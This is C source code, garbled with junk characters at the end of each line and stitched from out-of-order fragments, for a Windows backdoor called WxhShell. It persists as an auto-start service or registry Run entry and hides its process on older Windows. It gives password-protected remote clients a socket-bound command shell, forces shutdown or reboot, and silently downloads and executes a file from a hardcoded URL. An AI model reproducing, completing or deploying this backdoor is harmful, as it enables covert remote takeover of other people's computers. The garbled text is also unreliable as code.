    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1--~e  
    else { u~ F ;x Q  
    closesocket(wsh); e5v`;(^M  
    ExitThread(0); q<=: >?  
    } &;q<M_<  
    break; NSLVD[yT  
    } ,35&G"JK5  
  // 关机 @y~P&HUN  
  case 'd': { Yig0/ "  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MXAEX2xmme  
    if(Boot(SHUTDOWN)) &w~Xa( uu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KAA3iA@>+  
    else { ^Ip3A  
    closesocket(wsh); 3=4SGt5m  
    ExitThread(0); 1|y$~R.H  
    } <ZPZk'53<f  
    break; F#q&(  
    } Db03Nk>#  
  // 获取shell \ a-CN>  
  case 's': { Fq,N  
    CmdShell(wsh); ddpl Pzm#  
    closesocket(wsh); Fb Sa~uN  
    ExitThread(0); ?KN:r E  
    break; 0~E 6QhV:  
  } DR+,Y2!_GT  
  // 退出 ]YD(`42x  
  case 'x': { Y\t_&px  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [ F([  
    CloseIt(wsh); ^o<[. )  
    break; x(r+P9f\<  
    } cz.3|Lby  
  // 离开 5h_5Z~  
  case 'q': { 6n w&$I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w{7 ji}  
    closesocket(wsh); )@ PnTpL*  
    WSACleanup(); 0g(6r-2)7  
    exit(1); T[Q"}&bB  
    break; [QEwK|!L  
        } #Q6w+"  
  } 6&!l'[hU  
  } -Ds|qzrN%  
m4**>!I  
  // 提示信息 QPg2Y<2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 23E 0~O  
} i!~>\r\6\  
  } zHFTCL>"  
Ol cP(  
  return; V/H@vKN2  
} I6w/0,azC  
M/w{&&  
// shell模块句柄 EzP#Mnz^  
int CmdShell(SOCKET sock) zzf7S%1I  
{ 6&],WGz  
STARTUPINFO si; KM5 JZZP  
ZeroMemory(&si,sizeof(si)); 9.8,q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <9 },M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YC)hX'A\  
PROCESS_INFORMATION ProcessInfo; zz3 r<?#5  
char cmdline[]="cmd"; N !IzB]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7|~:P $M  
  return 0; @zs1>\J7  
} 2?1}ZXr  
Ki 3_N*z  
// 自身启动模式 > ZDC . ~  
int StartFromService(void) 9Z9l:}bO  
{ nt`<y0ta  
typedef struct ;&`:|Hf*  
{ &<{}8/x8(  
  DWORD ExitStatus; Xoi9d1fO  
  DWORD PebBaseAddress; &?}1AQAYg  
  DWORD AffinityMask; @YNGxg~*g  
  DWORD BasePriority; y{;u@o?T  
  ULONG UniqueProcessId; a^/K?lAB8  
  ULONG InheritedFromUniqueProcessId; ~bFdJj 1*  
}   PROCESS_BASIC_INFORMATION; %%x0w^  
JP_kQ  
PROCNTQSIP NtQueryInformationProcess; rBD2Si=  
cl2ze  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .r*#OUC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; , #Ln/;  
F#^L9  
  HANDLE             hProcess; M)tv;!eQ  
  PROCESS_BASIC_INFORMATION pbi; m|`VJ 0  
h;}ODK(.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }(cY|  
  if(NULL == hInst ) return 0; f:FpyCo=9  
:4]J2U\@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JQH7ZaN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }_vM&.GFlL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W%H]Uyt  
iGQ n/Xdo  
  if (!NtQueryInformationProcess) return 0; BWohMT  
{)uU6z {'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ( w5f(4  
  if(!hProcess) return 0; [DL|Ht>  
+|M{I= 8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8LeK wb  
y* rY~U#3  
  CloseHandle(hProcess); TL]bY'%  
m/KjJ"s,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,=x RoXYB}  
if(hProcess==NULL) return 0; ?}v}U^  
lnjL7x  
HMODULE hMod; `L;OY 4  
char procName[255]; Bjtj{B  
unsigned long cbNeeded; 0ovZ&l  
67fIIXk&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2$  
-2z,cj&E{  
  CloseHandle(hProcess); BZ}`4W'  
%-k(&T3&  
if(strstr(procName,"services")) return 1; // 以服务启动 O68bzi]  
"TUPYFK9  
  return 0; // 注册表启动 4"z;CGE7  
} r /^'Xj'(  
D|"sE>  
// 主模块 @N]5&4NL  
int StartWxhshell(LPSTR lpCmdLine) V3 qT<}y|  
{ >Rr!rtc'x  
  SOCKET wsl; .dt#2a_5q  
BOOL val=TRUE; d~3GV(M  
  int port=0; XS3{R   
  struct sockaddr_in door; V15q01bE#  
# UjEY9"M  
  if(wscfg.ws_autoins) Install(); .byc;9M%  
[:Xn6)qz  
port=atoi(lpCmdLine); ` v>/  
 w}"!l G  
if(port<=0) port=wscfg.ws_port; |E? ,xWN  
|c=d;+  
  WSADATA data; )4Bwt`VX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S'|lU@P Cl  
AVU7WU{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N:twq&[Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oO8]lHS?@  
  door.sin_family = AF_INET; IC\E,m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V;P1nL4L  
  door.sin_port = htons(port); "Jf4N  
 .fbYB,0w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l'W3=,G[?  
closesocket(wsl); k:`a+LiZ  
return 1; 8u/3?Kc  
}  )Kxs@F  
j1W bD7*8  
  if(listen(wsl,2) == INVALID_SOCKET) { 33O)k*g  
closesocket(wsl); @Ap@m6K?q  
return 1; +yt6.L  
} 7xz#D4[  
  Wxhshell(wsl); |}:e+?{o  
  WSACleanup(); bGhhh/n  
3Gj(z:)b  
return 0; /7.wQeL9  
is64)2F](  
} #)Ep(2  
}{P&idkv  
// 以NT服务方式启动 #W_i{bdO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [kVpzpGr  
{ Fp wlV}:  
DWORD   status = 0; [SKP|`I>I  
  DWORD   specificError = 0xfffffff; $_ST:h&C  
IvPA|8(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '\Qf,%%.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @ysJt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;|Y2r^c  
  serviceStatus.dwWin32ExitCode     = 0; 22l|!B%o  
  serviceStatus.dwServiceSpecificExitCode = 0; 2=i+L z^  
  serviceStatus.dwCheckPoint       = 0; jn0t-":  
  serviceStatus.dwWaitHint       = 0; |G[{{qZM5  
]}jgB 2x7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .WxFm@]/\  
  if (hServiceStatusHandle==0) return; Bk\*0B  
Rc$=+K#  
status = GetLastError(); "(9=h@@Y"  
  if (status!=NO_ERROR) wa9'2a1?  
{ Ej-=y2j{g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;JMOsn}8  
    serviceStatus.dwCheckPoint       = 0; /%2:+w  
    serviceStatus.dwWaitHint       = 0; jI@bTS o  
    serviceStatus.dwWin32ExitCode     = status; U/}AiCdj@  
    serviceStatus.dwServiceSpecificExitCode = specificError; P c/.*kOT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cP/F| uG5  
    return; MBnK&GS  
  } pE9aT5 L  
#p11D= @[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u40b? n.  
  serviceStatus.dwCheckPoint       = 0; oVKsic?  
  serviceStatus.dwWaitHint       = 0; ]9bh+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -U/I'RDLEz  
} $}^Rsv(  
m0dFA<5-  
// 处理NT服务事件,比如:启动、停止 gt].rwo"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }dV9%0s!  
{ uJ2C+$=Ul  
switch(fdwControl) \c5#\1<  
{ 'p4da2%  
case SERVICE_CONTROL_STOP: BaNU}@  
  serviceStatus.dwWin32ExitCode = 0; jM|YW*zNZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PM#$H  
  serviceStatus.dwCheckPoint   = 0; V\e13cL]  
  serviceStatus.dwWaitHint     = 0; `?Y_0Nh>  
  { d;@E~~o?B]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^sr:N5~z`  
  } C*Y :w  
  return; _47j9m]f  
case SERVICE_CONTROL_PAUSE: r"Hbr Qn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X^?|Sz<^E  
  break; 7]<F>97  
case SERVICE_CONTROL_CONTINUE: d()zW7}W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =R"Eb1  
  break; S)Ub/`f{s  
case SERVICE_CONTROL_INTERROGATE: b |o`Q7Hj  
  break; yg-L^`t+B5  
}; %zIl_/s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S'v V"  
} y \mutm  
a:(: :m  
// 标准应用程序主函数 "(HA9:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |wyJh"4!  
{ b a1$kU  
l,^i5t'  
// 获取操作系统版本 V'f&JQ A  
OsIsNt=GetOsVer(); b7>,-O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [qjAq@@N#q  
B6Wq/fl/  
  // 从命令行安装 aHVdClD2o  
  if(strpbrk(lpCmdLine,"iI")) Install(); hPEp0("  
<IHFD^3|j  
  // 下载执行文件 i+qLc6|S=2  
if(wscfg.ws_downexe) { =:v><  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VDb,$i.Z0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8VAYIxRv  
} 6B!j(R  
6x (L&>F  
if(!OsIsNt) { buxI-wv  
// 如果时win9x,隐藏进程并且设置为注册表启动 %O4}i@Fe  
HideProc(); rhzv^t  
StartWxhshell(lpCmdLine); !?us[f=g%  
} oZ\qT0*eb  
else tehI!->l  
  if(StartFromService()) F'Y 2f6B  
  // 以服务方式启动 `lV  
  StartServiceCtrlDispatcher(DispatchTable); } K hq  
else \h'E5LO  
  // 普通方式启动 +cE tm  
  StartWxhshell(lpCmdLine); :DJ7d  
-KU)7V  
return 0; 8R??J>h5\  
} avbr7X(  
S$kuhK>W!  
6iV"Tl{z-  
9wYtOQ{g  
=========================================== N8MlT \+r  
#?b^B~ #  
'%]@a7w  
C&CsI] @g  
|)72E[lL  
7gdU9c/q,  
" KWn1%oGJ  
&xiDG=I#  
#include <stdio.h> 6Qzu-  
#include <string.h> #pm-nU%|_j  
#include <windows.h> *?R\[59  
#include <winsock2.h> !=h|&Vta  
#include <winsvc.h> ma]F%E+$  
#include <urlmon.h> ~QEXB*X-g'  
l_j<aCY?|  
#pragma comment (lib, "Ws2_32.lib") @7[.> I(  
#pragma comment (lib, "urlmon.lib") VM V]TPks>  
mB|mt+  
#define MAX_USER   100 // 最大客户端连接数 M_e$l`"G  
#define BUF_SOCK   200 // sock buffer *|gs-<[#X  
#define KEY_BUFF   255 // 输入 buffer u6S0t?Udap  
4htSwK+  
#define REBOOT     0   // 重启 :z0>H5  
#define SHUTDOWN   1   // 关机 r~D~7MNl  
;MRC~F=  
#define DEF_PORT   5000 // 监听端口 ;~gd<KK  
cf[u%{ 6Y  
#define REG_LEN     16   // 注册表键长度 $ DZQdhv  
#define SVC_LEN     80   // NT服务名长度 1N$gE  
]Re~V{uh  
// 从dll定义API sG1]A:_<C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ap$ tu3j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %[\Ft  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !qw=I(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~q_+;W.  
@y\{<X.F\1  
// wxhshell配置信息 vo( j@+dz  
struct WSCFG { ?lwQne8/  
  int ws_port;         // 监听端口 kj3o1Y  
  char ws_passstr[REG_LEN]; // 口令 u0 oYb_Yv  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6nWx>R<  
  char ws_regname[REG_LEN]; // 注册表键名 :rs\ydDUF  
  char ws_svcname[REG_LEN]; // 服务名 `j!2uRFe>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >K|GLP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `2(R}zUHN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D "] [&m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `2mbF ^-4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZAM+4#@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +S5_J&~  
r(in]7  
}; ]20 "la5  
>pH775I=  
// default Wxhshell configuration !{ESeBSCG  
struct WSCFG wscfg={DEF_PORT, gy,TT<1)  
    "xuhuanlingzhe", ME10dr  
    1, yDkDtO`K  
    "Wxhshell", 61rh\<bn  
    "Wxhshell", *"QE1Fum'  
            "WxhShell Service", u g:G9vjQ  
    "Wrsky Windows CmdShell Service", n\"LN3  
    "Please Input Your Password: ", ,fG_'3wb  
  1, `w=H'"Zv  
  "http://www.wrsky.com/wxhshell.exe", `Ig2f$}  
  "Wxhshell.exe" 3 cW"VrFy9  
    }; b;{"lJ:+Z  
;7n*PBUJJ  
// 消息定义模块 j]l}K*8(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -J7,Nw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G* ~*2>~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,8o*!(uO2  
char *msg_ws_ext="\n\rExit."; >eTgP._  
char *msg_ws_end="\n\rQuit."; )(!Z90@  
char *msg_ws_boot="\n\rReboot..."; :0j`yo:w  
char *msg_ws_poff="\n\rShutdown..."; 8~Hs3\Hp  
char *msg_ws_down="\n\rSave to "; Q%VR@[`\  
.nF  
char *msg_ws_err="\n\rErr!"; Fx99"3`3  
char *msg_ws_ok="\n\rOK!"; >fj$ wOq  
&|\}\+0Z  
char ExeFile[MAX_PATH]; Vv)E41  
int nUser = 0; [O+^eE6h  
HANDLE handles[MAX_USER]; >\.[}th}  
int OsIsNt; jKV?!~/F  
U6'haPlOk%  
SERVICE_STATUS       serviceStatus; No&[ \;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ApJf4D<V  
xOyL2   
// 函数声明 P5xmLefng  
int Install(void); wYMX1=  
int Uninstall(void); jzA8f+:q  
int DownloadFile(char *sURL, SOCKET wsh); r\ Yur  
int Boot(int flag); >;r05,mc  
void HideProc(void); dlzamoS@AR  
int GetOsVer(void); g7z9i[  
int Wxhshell(SOCKET wsl); JR<-'  
void TalkWithClient(void *cs); .d!*<`S|  
int CmdShell(SOCKET sock); n9/0W%X>  
int StartFromService(void); HWfX>Vf>}k  
int StartWxhshell(LPSTR lpCmdLine); =egi?Ne  
k\<Ln w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N b[o6AX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~rX6owBq  
%e<dV\x?T  
// 数据结构和表定义 u\geD  
SERVICE_TABLE_ENTRY DispatchTable[] = \ J:T]  
{ *=9#tYn~  
{wscfg.ws_svcname, NTServiceMain}, }<h. chz,  
{NULL, NULL} /P"\ +Qp  
}; :QL p`s  
pvUoed\  
// 自我安装 :Sn3|`HDm  
int Install(void) FY S83uq0  
{ Bg0cC  
  char svExeFile[MAX_PATH]; _";pk  _  
  HKEY key; xy3%z  
  strcpy(svExeFile,ExeFile); b{>dOI*.}  
7<o;3gR7Kj  
// 如果是win9x系统,修改注册表设为自启动 fO(S+}  
if(!OsIsNt) { 4^ 6L])y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KmOa^vY1.T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xLK0~|_#!  
  RegCloseKey(key); 'R'a/ZR`B7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9:w,@Phe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TC{Qu;`H+U  
  RegCloseKey(key); g2<S4  
  return 0; 3(*s|V"  
    } X3O$Sd(D  
  } !D&MJThNy  
} kD7(}N8YR  
else { aB!Am +g  
Z|S7 " ,  
// 如果是NT以上系统,安装为系统服务 32P]0&_O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &*GX:0=/>  
if (schSCManager!=0) 5w{pX1z1  
{  A;x^6>  
  SC_HANDLE schService = CreateService oz-I/g3go  
  ( :=eUNH  
  schSCManager, 8vW`E_n  
  wscfg.ws_svcname, 0%NI- Zyo  
  wscfg.ws_svcdisp, <uwCP4E  
  SERVICE_ALL_ACCESS, g9Gy3zk=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aBi:S3 qk  
  SERVICE_AUTO_START,  PuCA @qY  
  SERVICE_ERROR_NORMAL, >! .9g  
  svExeFile, |bnjC$b*  
  NULL, XqH<)B ]  
  NULL, AK?j1Pk  
  NULL, xU<lv{m`D  
  NULL, NP*0WT_gB  
  NULL wT yM9wz&  
  ); `3oP^#  
  if (schService!=0) :?k=Yr  
  { mJR T+SZ  
  CloseServiceHandle(schService); @\}36y  
  CloseServiceHandle(schSCManager); j1+Y=@MA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zL8A?G)= M  
  strcat(svExeFile,wscfg.ws_svcname); @2*6+w_Ae  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tgA |Vwwk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pp hQa!F$  
  RegCloseKey(key); gjLgeyyWC  
  return 0; XO~^*[K  
    } ++"PPbOe&D  
  } K({,]<l5  
  CloseServiceHandle(schSCManager); $Xc<K_Z  
} ITlkw~'G  
} YH9] T,  
}8#Czo jt  
return 1; w/6@R 4)p  
} hAyPaS#  
lIP<`6=4  
// 自我卸载 IuW10}"9  
int Uninstall(void) (SA*9%  
{ L]<4{8H.  
  HKEY key; TJ:Lz]l >  
{hR2NUm  
if(!OsIsNt) { lXKZNCL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #K w\r50  
  RegDeleteValue(key,wscfg.ws_regname); V7_??L%Ct`  
  RegCloseKey(key); ;g]+MLV9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r^^C9"  
  RegDeleteValue(key,wscfg.ws_regname); 1Di&vpn0u  
  RegCloseKey(key); uK5x[m  
  return 0; oH"N>@Vl  
  } 0+pJv0u  
} .9Fm>e+!C  
} ZE` {J =,  
else { c iX2G  
'v  X"l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JvaaBXkS\  
if (schSCManager!=0) c.v)M\:  
{ [F EQ@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $8r:&Iw  
  if (schService!=0) A,qG*lv  
  { B4aZ3.&W  
  if(DeleteService(schService)!=0) { 3/FB>w gt  
  CloseServiceHandle(schService); oD\+ 5[x  
  CloseServiceHandle(schSCManager); @CF4:NNHw  
  return 0; hhhO+D1(  
  } e r$'c  
  CloseServiceHandle(schService); GK&Dd"v  
  } E76:}(  
  CloseServiceHandle(schSCManager); BUyA]  
} --kK<9J7  
} sKO ;p  
)zo ;r!eP  
return 1; '%N)(S`O7P  
} KL4/"$l]  
Q@n kT1o  
// 从指定url下载文件 .SN]hLV5  
int DownloadFile(char *sURL, SOCKET wsh) T 1=M6iJ  
{ :TI1tJS~*  
  HRESULT hr; *cIXae^Y7  
char seps[]= "/"; +)S X  
char *token; z, [ +  
char *file; {A UEVt  
char myURL[MAX_PATH]; )K~nZLULY  
char myFILE[MAX_PATH]; ]mA?TwD  
Uw"   
strcpy(myURL,sURL); Xk'.t|  
  token=strtok(myURL,seps); :f;|^(]"  
  while(token!=NULL) DAW%?(\,  
  { K>y+3HN[6  
    file=token; <H6Uo#ao  
  token=strtok(NULL,seps); %R"Fx$tQ  
  } {wI0 =U  
-S @:  
GetCurrentDirectory(MAX_PATH,myFILE); =P{RHhWy;  
strcat(myFILE, "\\"); 's<}@-]  
strcat(myFILE, file); S}X:LHr*  
  send(wsh,myFILE,strlen(myFILE),0); ny=iAZM>q  
send(wsh,"...",3,0); F1>,^qyG6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ a:F*<D  
  if(hr==S_OK) kx[8#+P  
return 0; E<dN=#f6  
else X;h~s:LM  
return 1; y1X.Mvc  
~_%[j8o&l  
} .Ko`DH~!,C  
M .,|cx  
// 系统电源模块 2uIAnbW]M  
int Boot(int flag) FhGbQJ?[3  
{ Q*: Ow]  
  HANDLE hToken; *F0N'*  
  TOKEN_PRIVILEGES tkp; iQF93:#  
9[M u   
  if(OsIsNt) { jLTs1`I/F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D$HxPfDZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zeX?]@]Y  
    tkp.PrivilegeCount = 1; GCHssw~P'v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .+yJ'*i$d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <FE O6YP  
if(flag==REBOOT) { 71_N9ub@z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q9Q4F  
  return 0; Q"O _h  
} A\`Uu&  
else { G1rgp>m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dkjL;1  
  return 0; rQJoaP+\q  
} Vs >1%$If  
  } i ^#R iCeo  
  else {  UWI5 /R  
if(flag==REBOOT) { =E}/Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _EP}el  
  return 0; sC>8[Jatd  
} 2 E^P=jU`  
else { lgl/| ^ Uw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;XT$rtuX  
  return 0; r_G`#Z_5F  
} !SnpesTn  
} 8Ex0[ e  
bTj,5,8 i  
return 1; eIJQ|p<v  
} vJ!t.Vou  
R-ci?7dt3  
// win9x进程隐藏模块 /-T%yuU  
void HideProc(void) lI9 3{!+>  
{ 5s;#C/ZZ  
c!zu0\[Id  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W8)GT`\  
  if ( hKernel != NULL ) n):VuOjm  
  { Ap/WgVw;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D+OkD-8q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gIeo7>u  
    FreeLibrary(hKernel); c c:xT0Y  
  } ~1p f ?  
3XIxuQwf  
return; [*fnTy  
} t1kD5^  
||qW'kNWM  
// 获取操作系统版本 ?G@%haqn6  
int GetOsVer(void) ;Bm{_$hf=  
{ IcB>Hg5  
  OSVERSIONINFO winfo; \a<E3 <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AK[c!mzx  
  GetVersionEx(&winfo); 52oR^ |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]BA8[2=m  
  return 1; '2NeuK-KD  
  else --FvE|I  
  return 0; yDPek*#^"q  
} /)~M cP3  
bz1\EkLL  
// 客户端句柄模块 bkb}M)C  
int Wxhshell(SOCKET wsl) uaiG (O   
{ 2l9_$evK~  
  SOCKET wsh; kns[b [!H  
  struct sockaddr_in client; I)clGMS,  
  DWORD myID; c8(.bmvF  
%BL+'&q  
  while(nUser<MAX_USER) K.z@Vx.  
{ Mf?4 `LM  
  int nSize=sizeof(client); -Jb I7Le  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GE>&fG  
  if(wsh==INVALID_SOCKET) return 1; ;I9D>shkc  
H=0Y4 T@)T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [.2>=3T  
if(handles[nUser]==0) O?P6rXKr  
  closesocket(wsh); [=Xvp z  
else  ST{<G  
  nUser++; \eN}V  
  } IlH*s/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .69{GM?  
&`@K/Nf$9  
  return 0; E5B:79BGO  
} W)KV"A3C  
8$1<N  
// 关闭 socket ]1X];x&e  
void CloseIt(SOCKET wsh) V4|pZ]  
{ oC[$PPqX#  
closesocket(wsh); +?%huJYK,  
nUser--; W )\~T:Kn  
ExitThread(0); (|W@p\Q  
} GZse8ng  
K1Uur>Pk%  
// 客户端请求句柄 1g *4e  
void TalkWithClient(void *cs) J 9z\ qTI  
{ bEM-^SR  
h 9No'!'!  
  SOCKET wsh=(SOCKET)cs; O`*}N1No[  
  char pwd[SVC_LEN]; *edB3!!  
  char cmd[KEY_BUFF]; ondF  
char chr[1]; hW(Mf  
int i,j; gVO[R6C5C  
F;kNc:X`)  
  while (nUser < MAX_USER) { !iMsTH<  
5@?P 8  
if(wscfg.ws_passstr) { %|UCs8EFm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (R{W Jjj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )nQ.6  
  //ZeroMemory(pwd,KEY_BUFF); cO' \s  
      i=0; fxjs"rD5  
  while(i<SVC_LEN) { %{axoGd  
WUKYwA/t  
  // 设置超时 A%pcPzG;  
  fd_set FdRead; {@k5e) Q  
  struct timeval TimeOut; K"eW.$  
  FD_ZERO(&FdRead); QD<f) JZK  
  FD_SET(wsh,&FdRead); H.*XoktC]  
  TimeOut.tv_sec=8; _E3*;  
  TimeOut.tv_usec=0; *U8Pjb1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (,[Oy6o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sk 9*3d5I  
LEG y1L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p"w"/[8  
  pwd=chr[0]; YeT[KjX  
  if(chr[0]==0xd || chr[0]==0xa) { phd,Jg[  
  pwd=0; 5EM(3eY^q  
  break; s~,Ypo?  
  } K%.\@l2Cp  
  i++; 9%pq+?u9  
    } tv5G']vO\  
SZNM$X|T  
  // 如果是非法用户,关闭 socket Eb[*nWF=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tm qtj  
} `|[Q]+Mx  
u`3J2 ,.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Z,MqG>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?(H/a-(:v}  
(i1 ]+.  
while(1) { ,F]Y,"x:  
YP/BX52 v  
  ZeroMemory(cmd,KEY_BUFF); 6Gwk*%sb  
h,45-#+  
      // 自动支持客户端 telnet标准   `$7. (.#s  
  j=0; uPhFBD7  
  while(j<KEY_BUFF) { :>]= YE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4u0=/pfi[  
  cmd[j]=chr[0]; gh#9<  
  if(chr[0]==0xa || chr[0]==0xd) { xx_]e4  
  cmd[j]=0; Y:XE4v/)@L  
  break; /0IvvD!7N  
  } nD6NLV%2x  
  j++; wknX\,`Q  
    } S{&,I2aO  
`{#0C-  
  // 下载文件 zuwlVn  
